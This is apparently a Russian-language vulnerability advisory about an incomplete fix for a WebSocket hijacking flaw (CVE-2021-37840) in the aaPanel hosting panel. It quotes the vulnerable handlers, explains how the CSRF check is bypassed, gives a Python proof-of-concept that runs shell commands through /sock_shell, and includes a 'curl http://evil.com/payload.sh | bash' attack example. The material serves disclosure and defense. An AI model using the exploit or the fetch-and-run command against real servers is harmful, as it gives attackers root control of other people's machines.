
aaPanel Обход CSRF через WebSocket, ведущий к RCE (Неполное исправление для CVE-2021-37840)
Неполное исправление CVE-2021-37840 по-прежнему оставляет 3,6 млн серверов уязвимыми для RCE с правами root спустя 5 лет
Обнаружено: EON Security
CVE: Ожидает присвоения
CVSS: 8.8 (Высокий) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Затронуто: aaPanel версии с 6.8.12 по 7.65.0 (все версии после исправления 2021 года)
Установлено на: более 3,6 млн серверов
В 2021 году была раскрыта уязвимость Cross-Site WebSocket Hijacking (CVE-2021-37840) в aaPanel, бесплатной панели управления хостингом, работающей на более чем 3,6 млн серверов. Вендор добавил проверку CSRF-токена в качестве «исправления».
Исправление было архитектурно некорректным.
Вместо того чтобы отклонять неаутентифицированные WebSocket-соединения на уровне HTTP (возвращая 401), исправление пропускает каждое соединение (возвращает 101 Switching Protocols) и проверяет аутентификацию только внутри обработчика — после того, как WebSocket уже установлен. Добавленная ими CSRF-проверка может быть обойдена несколькими способами.
EON Security обнаружила, что спустя 5 лет все версии aaPanel по-прежнему уязвимы для того же класса атак.
Это всего лишь 10-й CVE, когда-либо присвоенный aaPanel за более чем 6-летнюю историю.
Если вы используете aaPanel, вот что злоумышленник может с вами сделать:
Сценарий 1: Администратор нажимает на плохую ссылку
curl http://evil.com/payload.sh | bash — эта команда выполняется от root на вашем сервереВсего один клик. Один ошибочный клик — и злоумышленник получает всё.
Сценарий 2: Утечка API-ключа
Это более серьёзная проблема. Защита CSRF вообще не применяется к запросам, аутентифицированным через API. Она была разработана для проверки браузерных соединений, но путь кода для доступа через API полностью её обходит.
В любом случае, затронуто 3,6 миллиона серверов. Все версии с 2021 года.
g.api_request=True (запросы, аутентифицированные через API) и g.is_aes=True (AES-зашифрованные запросы) полностью пропускают проверку/sock_shell выполняет произвольные команды — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh принимает SSH-учётные данные, предоставленные злоумышленником — подключение к любому SSH-хостуВсе WebSocket-эндпоинты возвращают HTTP 101 Switching Protocols перед любой проверкой аутентификации. Проверка аутентификации comm.local() выполняется внутри обработчика, после того как обновление WebSocket уже завершено:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Проверка аутентификации происходит ПОСЛЕ 101
if comReturn:
ws.send(str(comReturn))
return
Затронутые эндпоинты:
/webssh (прокси SSH-терминала)/sock_shell (прямое выполнение команд)/ws_panel (управление панелью)/ws_home (дашборд)/ws_project (управление проектами)/ws_model (управление моделями)/workorder_client (система тикетов)/v2/* варианты всех вышеперечисленныхФункция check_csrf_websocket() предназначена для предотвращения Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Обход: режим AES пропускает проверку
if g.api_request: return True # ← Обход: API-запросы пропускают проверку
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Существует два жёстких условия обхода:
g.api_request: Когда True (устанавливается при аутентификации через API-ключ), CSRF-проверка полностью пропускается. Любая WebSocket-сессия с аутентификацией через API обходит эту защиту.g.is_aes: Когда True (устанавливается при AES-зашифрованных API-запросах), CSRF-проверка также пропускается.Сравнение токенов (get_csrf_sess_html_token_value()) возвращает session.get('request_token_head', ""). В сессиях, где это значение ещё не инициализировано, пустой x-http-token проходит проверку.
Эндпоинт /sock_shell передаёт строки, предоставленные злоумышленником, напрямую в subprocess.Popen с shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Произвольное выполнение команд
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Каждое полученное сообщение на WebSocket выполняется как shell-команда. Вывод передаётся обратно через WebSocket. Поскольку aaPanel работает от root, это полная компрометация системы.
Эндпоинт /webssh принимает параметры SSH-подключения, предоставленные злоумышленником, из первого WebSocket-сообщения:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Если хост — 127.0.0.1 или localhost, обработчик проверяет базу данных на наличие сохранённых учётных данных или использует предоставленные злоумышленником.
Основной путь эксплуатации — CSWSH (Cross-Site WebSocket Hijacking), требующий взаимодействия пользователя:
wss://victim-panel:8888/sock_shellcomm.local() проходит аутентификацию (действительный cookie сессии){"x-http-token": ""} или использует пути обхода через API/AESАльтернативный путь через компрометацию API-ключа:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Попытка обхода CSRF с пустым токеном
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF-проверка активна — может потребоваться обход через API
return None
# Выполнение команды
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
Полный PoC: exploit.py
Используйте скрипт check.py для проверки, имеет ли экземпляр aaPanel уязвимые WebSocket-эндпоинты:
python3 check.py https://target:8888
g.api_request и g.is_aes не должны пропускать CSRF-защиту| Дата | Событие |
|---|
Yadav — EON Security
Веб-сайт: https://eonsecurity.co.za
Этот контент распространяется под лицензией MIT. PoC предоставлен только для образовательных и защитных целей.
| Эндпоинт | Функция | Воздействие |
|---|
/webssh | Прокси SSH-терминала | Подключение к произвольным SSH-хостам с учётными данными злоумышленника |
/sock_shell | Прямое выполнение команд | RCE от root через shell-команды |
/ws_panel | Управление панелью | Доступ к данным панели |
/ws_home | Дашборд | Доступ к данным дашборда |
/ws_project | Управление проектами | Доступ к данным проектов |
/ws_model | Управление моделями | Доступ к данным моделей |
/workorder_client | Система тикетов | Доступ к данным тикетов |
/v2/* | Все варианты v2 | То же, что и выше |
| 2021-08-02 | Раскрытие CVE-2021-37840 (CSWSH aaPanel) |
| 2021 | Вендор добавляет check_csrf_websocket() в качестве исправления |
| 2026-06-23 | EON Security обнаруживает, что исправление неполное |
| Ожидается | Присвоение CVE |
| Ожидается | Публичное раскрытие |